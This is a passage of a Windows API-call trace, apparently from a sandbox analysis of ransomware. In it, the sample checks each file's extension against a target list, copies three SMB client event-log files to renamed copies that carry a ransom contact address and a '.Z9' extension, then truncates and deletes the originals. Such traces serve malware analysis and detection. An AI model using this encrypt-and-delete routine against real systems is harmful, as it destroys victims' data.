	[0082.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0082.386] lstrlenW (lpString=".1cd") returned 4
	[0082.386] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0082.386] lstrlenW (lpString=".jpg") returned 4
	[0082.386] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0082.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0082.386] lstrlenW (lpString=".doc") returned 4
	[0082.386] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.386] lstrlenW (lpString=".docx") returned 5
	[0082.386] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.386] lstrlenW (lpString=".pdf") returned 4
	[0082.386] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.386] lstrlenW (lpString=".xls") returned 4
	[0082.386] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.386] lstrlenW (lpString=".xlsx") returned 5
	[0082.386] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.386] lstrlenW (lpString=".ppt") returned 4
	[0082.386] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0082.386] lstrlenW (lpString=".zip") returned 4
	[0082.386] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.386] lstrlenW (lpString=".rar") returned 4
	[0082.386] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.386] lstrlenW (lpString=".bz2") returned 4
	[0082.386] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.386] lstrlenW (lpString=".7z") returned 3
	[0082.386] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0082.387] lstrlenW (lpString=".dbf") returned 4
	[0082.387] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0082.387] lstrlenW (lpString=".1cd") returned 4
	[0082.387] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0082.387] lstrlenW (lpString=".jpg") returned 4
	[0082.387] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.387] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.387] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46
	[0082.387] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.387] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0082.387] CloseHandle (hObject=0x358) returned 1
	[0082.387] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20
	[0082.387] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.387] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.388] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.388] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.388] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.388] GetLastError () returned 0x0
	[0082.388] ReadFile (in: hFile=0x358, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.391] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.392] ReadFile (in: hFile=0x358, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.393] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x130, lpOverlapped=0x0) returned 1
	[0082.393] SetEndOfFile (hFile=0x384) returned 1
	[0082.393] CloseHandle (hObject=0x384) returned 1
	[0082.395] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.395] SetEndOfFile (hFile=0x358) returned 1
	[0082.396] CloseHandle (hObject=0x358) returned 1
	[0082.396] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.397] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1
	[0082.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0082.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0082.397] lstrlenW (lpString=".doc") returned 4
	[0082.397] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.397] lstrlenW (lpString=".docx") returned 5
	[0082.397] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.398] lstrlenW (lpString=".pdf") returned 4
	[0082.398] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.398] lstrlenW (lpString=".xls") returned 4
	[0082.398] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.398] lstrlenW (lpString=".xlsx") returned 5
	[0082.398] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.398] lstrlenW (lpString=".ppt") returned 4
	[0082.398] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0082.398] lstrlenW (lpString=".zip") returned 4
	[0082.398] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.398] lstrlenW (lpString=".rar") returned 4
	[0082.398] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.398] lstrlenW (lpString=".bz2") returned 4
	[0082.398] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.398] lstrlenW (lpString=".7z") returned 3
	[0082.398] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0082.398] lstrlenW (lpString=".dbf") returned 4
	[0082.398] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0082.398] lstrlenW (lpString=".1cd") returned 4
	[0082.398] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0082.398] lstrlenW (lpString=".jpg") returned 4
	[0082.398] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0082.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0082.398] lstrlenW (lpString=".doc") returned 4
	[0082.398] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.398] lstrlenW (lpString=".docx") returned 5
	[0082.398] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.398] lstrlenW (lpString=".pdf") returned 4
	[0082.398] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.399] lstrlenW (lpString=".xls") returned 4
	[0082.399] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.399] lstrlenW (lpString=".xlsx") returned 5
	[0082.399] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.399] lstrlenW (lpString=".ppt") returned 4
	[0082.399] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0082.399] lstrlenW (lpString=".zip") returned 4
	[0082.399] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.399] lstrlenW (lpString=".rar") returned 4
	[0082.399] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.399] lstrlenW (lpString=".bz2") returned 4
	[0082.399] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.399] lstrlenW (lpString=".7z") returned 3
	[0082.399] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0082.399] lstrlenW (lpString=".dbf") returned 4
	[0082.399] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0082.399] lstrlenW (lpString=".1cd") returned 4
	[0082.399] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0082.399] lstrlenW (lpString=".jpg") returned 4
	[0082.399] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.399] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.399] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45
	[0082.399] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.400] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0082.400] CloseHandle (hObject=0x358) returned 1
	[0082.400] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20
	[0082.400] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.400] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.400] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.400] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.400] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.400] GetLastError () returned 0x0
	[0082.401] ReadFile (in: hFile=0x358, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.403] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.405] ReadFile (in: hFile=0x358, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.405] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0082.405] SetEndOfFile (hFile=0x384) returned 1
	[0082.405] CloseHandle (hObject=0x384) returned 1
	[0082.407] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.407] SetEndOfFile (hFile=0x358) returned 1
	[0082.409] CloseHandle (hObject=0x358) returned 1
	[0082.409] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.409] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1
	[0082.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0082.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0082.409] lstrlenW (lpString=".doc") returned 4
	[0082.409] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.409] lstrlenW (lpString=".docx") returned 5
	[0082.409] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.409] lstrlenW (lpString=".pdf") returned 4
	[0082.409] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.409] lstrlenW (lpString=".xls") returned 4
	[0082.409] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.409] lstrlenW (lpString=".xlsx") returned 5
	[0082.409] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.409] lstrlenW (lpString=".ppt") returned 4
	[0082.409] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0082.410] lstrlenW (lpString=".zip") returned 4
	[0082.410] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.410] lstrlenW (lpString=".rar") returned 4
	[0082.410] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.410] lstrlenW (lpString=".bz2") returned 4
	[0082.410] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.410] lstrlenW (lpString=".7z") returned 3
	[0082.410] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0082.410] lstrlenW (lpString=".dbf") returned 4
	[0082.410] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0082.410] lstrlenW (lpString=".1cd") returned 4
	[0082.410] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0082.410] lstrlenW (lpString=".jpg") returned 4
	[0082.410] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0082.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0082.410] lstrlenW (lpString=".doc") returned 4
	[0082.410] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.410] lstrlenW (lpString=".docx") returned 5
	[0082.410] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.410] lstrlenW (lpString=".pdf") returned 4
	[0082.410] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.410] lstrlenW (lpString=".xls") returned 4
	[0082.410] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.410] lstrlenW (lpString=".xlsx") returned 5
	[0082.410] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.410] lstrlenW (lpString=".ppt") returned 4
	[0082.410] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0082.410] lstrlenW (lpString=".zip") returned 4
	[0082.410] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.410] lstrlenW (lpString=".rar") returned 4
	[0082.411] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.411] lstrlenW (lpString=".bz2") returned 4
	[0082.411] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.411] lstrlenW (lpString=".7z") returned 3
	[0082.411] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.411] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0082.411] lstrlenW (lpString=".dbf") returned 4
	[0082.411] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.411] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0082.411] lstrlenW (lpString=".1cd") returned 4
	[0082.411] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.411] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0082.411] lstrlenW (lpString=".jpg") returned 4
	[0082.411] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.411] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.411] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42
	[0082.411] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.412] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0082.412] CloseHandle (hObject=0x358) returned 1
	[0082.412] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20
	[0082.412] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.412] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.412] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.413] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.413] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.413] GetLastError () returned 0x0
	[0082.413] ReadFile (in: hFile=0x358, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.713] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.715] ReadFile (in: hFile=0x358, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.716] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x128, lpOverlapped=0x0) returned 1
	[0082.716] SetEndOfFile (hFile=0x384) returned 1
	[0082.846] CloseHandle (hObject=0x384) returned 1
	[0082.849] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.849] SetEndOfFile (hFile=0x358) returned 1
	[0082.850] CloseHandle (hObject=0x358) returned 1
	[0082.851] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.851] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1
	[0082.851] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.851] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.851] lstrlenW (lpString=".doc") returned 4
	[0082.851] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.851] lstrlenW (lpString=".docx") returned 5
	[0082.851] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.851] lstrlenW (lpString=".pdf") returned 4
	[0082.851] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.851] lstrlenW (lpString=".xls") returned 4
	[0082.851] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.851] lstrlenW (lpString=".xlsx") returned 5
	[0082.851] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.851] lstrlenW (lpString=".ppt") returned 4
	[0082.851] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.851] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.851] lstrlenW (lpString=".zip") returned 4
	[0082.851] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.851] lstrlenW (lpString=".rar") returned 4
	[0082.851] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.852] lstrlenW (lpString=".bz2") returned 4
	[0082.852] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.852] lstrlenW (lpString=".7z") returned 3
	[0082.852] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.852] lstrlenW (lpString=".dbf") returned 4
	[0082.852] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.852] lstrlenW (lpString=".1cd") returned 4
	[0082.852] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.852] lstrlenW (lpString=".jpg") returned 4
	[0082.852] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.852] lstrlenW (lpString=".doc") returned 4
	[0082.852] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.852] lstrlenW (lpString=".docx") returned 5
	[0082.852] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.852] lstrlenW (lpString=".pdf") returned 4
	[0082.852] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.852] lstrlenW (lpString=".xls") returned 4
	[0082.852] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.852] lstrlenW (lpString=".xlsx") returned 5
	[0082.852] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.852] lstrlenW (lpString=".ppt") returned 4
	[0082.852] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
